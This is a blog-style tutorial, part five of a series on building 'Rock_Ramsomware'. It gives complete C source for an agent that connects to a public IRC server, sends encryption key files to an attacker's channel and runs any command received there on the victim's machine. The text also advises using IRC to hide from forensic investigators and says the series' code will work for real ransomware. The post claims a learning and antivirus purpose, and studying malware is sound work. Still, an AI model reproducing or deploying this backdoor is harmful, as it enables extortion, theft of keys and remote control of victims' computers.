Developing Ransomware Malware. Part 0x05

Developing Ransomware Malware. Part 0x05

We need to create one to understand it.


Writing Our Own Ransomware Malware

for understand how the Cybercriminal write it.


?

In previous chapter we learnt :

  • Generates a pair of RSA-keys (a public key and a private key) using Windows CryptoAPIKey for Encryption and decryption of files.
  • Encrypting Directory its files and subdirectory recursively.
  • All the encrypted files is encrypted with “PublicKey.txt” and renamed as “. rock" Only with the “PrivateKey.txt” and “EncryptedAESKey.txt” it will be decrypted.
  • “PublicKey.txt” and “PrivateKey.txt” is generated by our “keygen.c” file. The “EncryptedAESKey.txt” is generated by “encryption.c” file which take Publickey.txt” as parameters and "decryption.c" will take "PrivateKey.txt" and "EncryptedAESKey.txt" to decrypt all the filesand its sub directory.


In this chapter we will learn:

  • How the ransomware sends the created KEYS files to the remote command centre, which is a remote chat server called iRC chat.
  • How the cybercriminal gets full access to it and by sitting remotely how they control the victim’s machine.



In the previous chapter, we created public and private keys. Once the keys were generated, we encrypted the folder's original files and then deleted them, leaving only the encrypted files. Now, it’s time for the cybercriminal to get those keys we generated. We have created three files:


  1. PrivateKey.txt
  2. PublicKey.txt
  3. EncryptedAESKey.txt


These are very important files for the cybercriminal. With these files, he has encrypted our file system. Therefore, it’s crucial for him to get these files.

?

We still have a chance to retrieve the files because when files are deleted, we can always recover them with good tools like “TestDisk”. It’s an open-source Linux tool. I have used it many times to retrieve important files. Before using the tool, one should become familiar with it. Once you log in to Linux, you need to mount the Windows file system in Linux and then run the tool to retrieve the files. Below is the image of TestDisk in Action.

TestDisk is used to recovers deleted file , its run on windows as well as on Linux.


In today’s era, forensic investigators can track the source and destination IP of a packet. There is a history of hackers being caught by the FBI by obtaining the source and destination IP. The only mistake these hackers made was not masking their IPs. There are multiple ways to do it. One way we are discussing is using an RC server. This is one of the safe ways to hide your IP from forensic investigators.

?In our case, we will be using iRC for our communicaition server. Let’s see how we can use iRC.

To do this we need to have an iRC account (not required). Once you have an account, we need to create a #channel. Once we have a channel, anyone can communicate with us.

For example, the iRC channel name is “#3dsAquasan”. You just need to share “#3dsAquasan” with your friends and ask them to log in to #3dsAquasan from iRC, and we can get connected.

The best part is we can send and execute commands on/through the iRC server.


Let’s understand how we will be using iRC:


1. Create an iRC login and create a #3dsAquasan channel, so our Rock_Ramsomware can connect to it.

2. The #3dsAquasan channel is already integrated into our Rock_Ramsomware code, so it can directly connect to our channel.

3. Once connected to the channel, upload files such as PublicKey.txt, PrivateKey.txt, and other keys created to the iRC channel.

4. Delete the keys generated on the victim’s machine.

5. Once the keys are with the cybercriminal, ask for ransom ??.

6. Establish a connection with the victims to control their systems, do network analysis, and hack other machines on the subnet.


Below image show how indirectly we will be communicating with our Rock_Ramsomware via iRC chat server

Indirect communiction with our victim machine

Now that you know how this is done, let’s do it.

?

First, we will install iRC on my windows box, so we can communicate it with Rock_Ramsomware, as shown in the image below.


multi protocol chat client - the best one


To install this chat client just google “pidgin” for widows or Linux, download and install it .

its one my favourite chat client.


Officially supported protocol are :

AIM, Bonjour, Gadu-Gadu, Google Talk, Groupwise, ICQ, IRC, SIMPLE, XMPP, and Zephyr.

So, with single pidgin client you can get integrated or chat with 9 or more application with this single one ??.

Now let’s connect to our #3dsAquasan Channel with pidgin.


connecting to #3dsAquasan

Once you open pidgin, click on “Join a Chat” once you press this button the above screen will popup, enter “#3dsAquasan” and press Join. Once you press join a chat room get open, where all the connected people can chat to each other ,Privately too ??.

Here, application also can get connected, in our case our Rock_Ramsomware will connect in this channel too. ?

Below is the final screen from pidgin once joined #3dsAquasan channel.


channel is kept open , as any time the tojan can get conncetd

From the cyber-criminal’s point of view they will always keep this screen open. Once our Rock_Ramsomware get executed from the user, it will try to connect this channel, in our case “#3dsAqausan” so the cyber-criminal can get all the keys and control of the machine.?

You can send command to Rock_Ramsomware / trojan through this pidgin client too.

Now let’s see the code , how our Rock_Ramsomware connects to the iRC channel called as “#3dsAquasan”.


agent.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "Ws2_32.lib")

// Define constants for IRC server, port, channel, and nickname
#define SERVER "irc.libera.chat"
#define PORT 6667
#define CHANNEL "#3dsAquasan"
#define NICK "YourNick"
#define MAX_MESSAGE_LEN 512
#define MAX_CONTENT_LEN 400  // Adjusted for PRIVMSG format overhead

// Function to send raw data
void send_raw(SOCKET sock, const char *msg) {
    int sent = send(sock, msg, strlen(msg), 0);
    if (sent == SOCKET_ERROR) {
        printf("Send failed. Error Code: %d\n", WSAGetLastError());
        fflush(stdout);
    }
}

// Function to receive data from the socket
void recv_data(SOCKET sock, char *buffer, int length) {
    int received = recv(sock, buffer, length - 1, 0);
    if (received > 0) {
        buffer[received] = '\0';
    } else if (received == SOCKET_ERROR) {
        printf("Receive failed. Error Code: %d\n", WSAGetLastError());
        fflush(stdout);
    }
    printf("\n ----------------> I am here in recv_data ");
    fflush(stdout);
}

// Function to convert binary data to hexadecimal string
char* bin_to_hex(const unsigned char *data, size_t len) {
    char *hex_str = malloc(len * 2 + 1);
    for (size_t i = 0; i < len; i++) {
        sprintf(hex_str + i * 2, "%02X", data[i]);
    }
    hex_str[len * 2] = '\0'; // Null-terminate the string
    return hex_str;
}

// Function to send a file's data in chunks
void send_file_in_chunks(SOCKET sock, const char *channel, const char *file_name) {
    FILE *file = fopen(file_name, "rb");
    if (file) {
        fseek(file, 0, SEEK_END);
        size_t file_size = ftell(file);
        fseek(file, 0, SEEK_SET);
        unsigned char *file_data = malloc(file_size);
        fread(file_data, 1, file_size, file);
        fclose(file);

        char *hex_data = bin_to_hex(file_data, file_size);
        size_t hex_len = strlen(hex_data);
        free(file_data);

        // Send the hex data in chunks
        for (size_t i = 0; i < hex_len; i += MAX_CONTENT_LEN) {
            char chunk[MAX_MESSAGE_LEN];
            snprintf(chunk, sizeof(chunk), "PRIVMSG %s :%s: %.400s\r\n", channel, file_name, hex_data + i);
            send_raw(sock, chunk);
            printf("Sending chunk: %.400s\n", hex_data + i);
            fflush(stdout);
            Sleep(2000); // Sleep to avoid flooding the server
        }

        free(hex_data);
    }
}

// Function to handle incoming IRC messages
void handle_incoming_message(SOCKET sock, char *message) {
    if (strstr(message, "PING") != NULL) {
        printf("-----------> Received PING, responding with PONG...\n");
        char response[MAX_MESSAGE_LEN];
        snprintf(response, sizeof(response), "PONG %s\r\n", strstr(message, " :") + 2);
        send_raw(sock, response);
    } else if (strstr(message, "PRIVMSG") != NULL) {
        printf("-----------> Received PRIVMSG: %s\n", message);
        
        // Extract the command from the message
        char *command = strstr(message, "PRIVMSG");
        if (command) {
            command = strstr(command, " :") + 2;
            printf("-----------> Executing Command: %s\n", command);

            // Execute the command and capture the output
            FILE *fp;
            char result[1024];
            char output[MAX_MESSAGE_LEN] = {0};

            if ((fp = _popen(command, "r")) == NULL) {
                printf("Failed to run command\n");
                return;
            }

            // Read the output a line at a time and send it back to the server
            while (fgets(result, sizeof(result) - 1, fp) != NULL) {
                snprintf(output, sizeof(output), "PRIVMSG %s :%s", CHANNEL, result);
                send_raw(sock, output);
                Sleep(1000); // Avoid flooding the server
            }

            _pclose(fp);
        }
    } else {
        printf("-----------> Received: %s\n", message);
    }
    fflush(stdout);
}

int main() {
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    char buffer[512], message[512];

    printf("Initializing Winsock...v3\n");
    fflush(stdout);
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        printf("Failed to initialize Winsock. Error Code: %d\n", WSAGetLastError());
        fflush(stdout);
        return 1;
    }

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
        printf("Could not create socket. Error Code: %d\n", WSAGetLastError());
        fflush(stdout);
        WSACleanup();
        return 1;
    }

    struct hostent *he;
    if ((he = gethostbyname(SERVER)) == NULL) {
        printf("Failed to resolve hostname. Error Code: %d\n", WSAGetLastError());
        fflush(stdout);
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length);
    server.sin_family = AF_INET;
    server.sin_port = htons(PORT);

    printf("Connecting to server...\n");
    fflush(stdout);
    if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
        printf("Connection error. Error Code: %d\n", WSAGetLastError());
        fflush(stdout);
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    snprintf(buffer, sizeof(buffer), "NICK %s\r\n", NICK);
    send_raw(sock, buffer);
    snprintf(buffer, sizeof(buffer), "USER %s 0 * :%s\r\n", NICK, NICK);
    send_raw(sock, buffer);

    int files_sent = 0;

    while (1) {
        memset(buffer, 0, sizeof(buffer)); // Clear buffer before receiving data
        printf("\nWaiting to receive data...\n");
        fflush(stdout);
        recv_data(sock, buffer, sizeof(buffer));
        
        if (strlen(buffer) > 0) {
            printf("Received: %s\n", buffer); // Display the received message
            fflush(stdout);
            handle_incoming_message(sock, buffer); // Handle the message
        }

        if (strstr(buffer, "PING") != NULL) {
            snprintf(message, sizeof(message), "PONG %s\r\n", strstr(buffer, " :") + 2);
            send_raw(sock, message);
        }

        if (strstr(buffer, " 001 ") != NULL) {
            snprintf(message, sizeof(message), "JOIN %s\r\n", CHANNEL);
            send_raw(sock, message);
        }

        if (strstr(buffer, " JOIN ") != NULL && !files_sent) {
            send_file_in_chunks(sock, CHANNEL, "PrivateKey.txt");
            printf("-----------> First File Sent\n");
            fflush(stdout);
            Sleep(1000);
            send_file_in_chunks(sock, CHANNEL, "EncryptedAESKey.txt");
            printf("-----------> Second File Sent\n");
            fflush(stdout);
            Sleep(1000);
            send_file_in_chunks(sock, CHANNEL, "PublicKey.txt");
            printf("-----------> Third File Sent\n");
            fflush(stdout);
            Sleep(1000);
            files_sent = 1; // Mark that files have been sent
        }
    }

    // Close the socket and cleanup
    closesocket(sock);
    WSACleanup();
    return 0;
}
        

Let’s try to understand the code in short

The code uses standard C libraries for input and output, memory management and string manipulation with networking capabilities

send_raw() function : Sends raw data (messages) to the server. Checks if the message was sent successfully.

recv_data() function :Receives data from the server. Stores the received data in a buffer.

bin_to_hex() function :Converts binary data to a hexadecimal string. Useful for sending binary files as text.

send_file_in_chunks() function :Opens and reads a file. Converts the file data to a hexadecimal string. Sends the file data in chunks to the iRC channel.

handle_incoming_message() function :Handles messages received from the iRC server. Responds to "PING" messages to keep the connection alive. Executes commands received in "PRIVMSG" (private message) and sends the output back to the channel.


Now let's compile the code: You can compile the agent.c code with the following command:

C:\TEMP\K3> cl agent.c /link Ws2_32.lib        

And to execute the command, use the following:

C:\TEMP\K3> agent        

The image below shows how to compile and run the code

When the agent is executed it get data from server


As soon as you run our "agent," it will start connecting to the “#3dsAquasan” channel. Once it is connected, it will send our three files to the cyber-criminal on the “#3dsAquasan” channel, where he can receive the files and then demand ransom from the victim.

Once the ransom is paid, he provides the private key to the victim to restore all encrypted files, as we have seen in the previous chapter on file system encryption.

The following files will be uploaded by our agent.exe to the iRC:

  • PrivateKey.txt
  • PublicKey.txt
  • EncryptedAESKey.txt


The agent.exe file will read each file line by line, convert them into hexadecimal format (in this case a simple encryption), and then send the data to the iRC channel. In a real scenario, the cyber-criminal would use a more complex encryption algorithm.

The image below shows the agent sending the keys in hexadecimal format to the cyber-criminal channel, which can be seen in the Pidgin agent.


Agent send files to iRC chat


Once the files are sent , the agent.exe file will go in listening mode. It will listen to the commands comming from the iRC server.

In this case, we have printed what is happening on the screen for better understanding. In the real world, you would never see the agent running on the screen ??; everything would run as a service.

Once the agent is in listening mode, the cyber-criminal can see the ransomware connection on the screen as a user—in this case, "Rock_Ramsomware."

The cyber-criminal will input the desired command in the chat box, which will be executed on the victim’s machine.

The image below shows the cyber-criminal giving the “dir” command in the chat box, which got executed on the victim's machine, returning the directory list to the cyber-criminal channel. This is how these guys control our systems ??.

Below image show command execution in action and its output.

Command got executed on the Victim's machine

With this, the victim’s machine is fully controlled from remote iRC channels.

We are now at the end of the Rock_Ramsomware malware coding. The code provided in chapters 0x01, 0x02, 0x03, 0x04, and 0x05 code can be used for writing ransomware.

Only about 5% of the code can be changed, such as multitasking, process injection, exploitation, and error checking. The rest of the code will work perfectly.

Practice this, understand the APIs, understand the logic, and try to identify where we can retrieve data without paying any ransom. The more you read the chapters, the more expert you will become.

In the next chapter, we will start forensic investigation of the victim’s machine, assuming that our system has been infected by “Rock_Ramsomware,” which we coded in the previous chapters.

By doing reverse engineering, we can identify and write the “Rock_Ramsomware” antivirus signature, so we can become Antivirus or Anti-Hacker Software Developers. ??

Thaks for your time.

See you next week.

?

要查看或添加评论,请登录

Sanjay Bhalerao的更多文章

  • AI Agents: The Future of Personal & Business Assistants 0.x01

    AI Agents: The Future of Personal & Business Assistants 0.x01

    Understanding AI and Its Agent ! The AI revolution is happening now… we are in transit mode . It will be a real game…

    3 条评论
  • Developing Ransomware Malware. 0x10

    Developing Ransomware Malware. 0x10

    Writing Our Own Ransomware Malware for understand how the Cybercriminal write it. Forensic Investigation - Password…

    1 条评论
  • Developing Ransomware Malware. 0x09

    Developing Ransomware Malware. 0x09

    Writing Our Own Ransomware Malware for understand how the Cybercriminal write it. Forensic Investigation - Micosoft…

  • Developing Ransomware Malware. 0x08

    Developing Ransomware Malware. 0x08

    Writing Our Own Ransomware Malware for understand how the Cybercriminal write it. Forensic Investigation - PDF File.

  • Forensic Investigation - Network. 0x02

    Forensic Investigation - Network. 0x02

    Developing Ransomware Malware. 0x07 Writing Our Own Ransomware Malware for understand how the Cyber criminal write it.

  • Developing Ransomware Malware. 0x06

    Developing Ransomware Malware. 0x06

    Writing Our Own Ransomware Malware for understand how the Cybercriminal write it. Forensic Investigation of Ransomware…

  • Developing Ransomware Malware. Part 0x04

    Developing Ransomware Malware. Part 0x04

    We need to create one to understand it. Writing Our Own Ransomware Malware for understand how the Cybercriminal write…

  • Developing Ransomware Malware. Part 0x03

    Developing Ransomware Malware. Part 0x03

    We need to create one to understand it. Writing Our Own Ransomware Malware for understand how the Cybercriminal write…

  • Developing Ransomware Malware. Part 0x02

    Developing Ransomware Malware. Part 0x02

    We need to create one to understand it. Writing Our Own Ransomware Malware for understand how the Cybercriminal write…

    2 条评论
  • Developing Ransomware Malware. 0x01

    Developing Ransomware Malware. 0x01

    We need to create one to understand it. What are we going to learn: 1.

社区洞察

其他会员也浏览了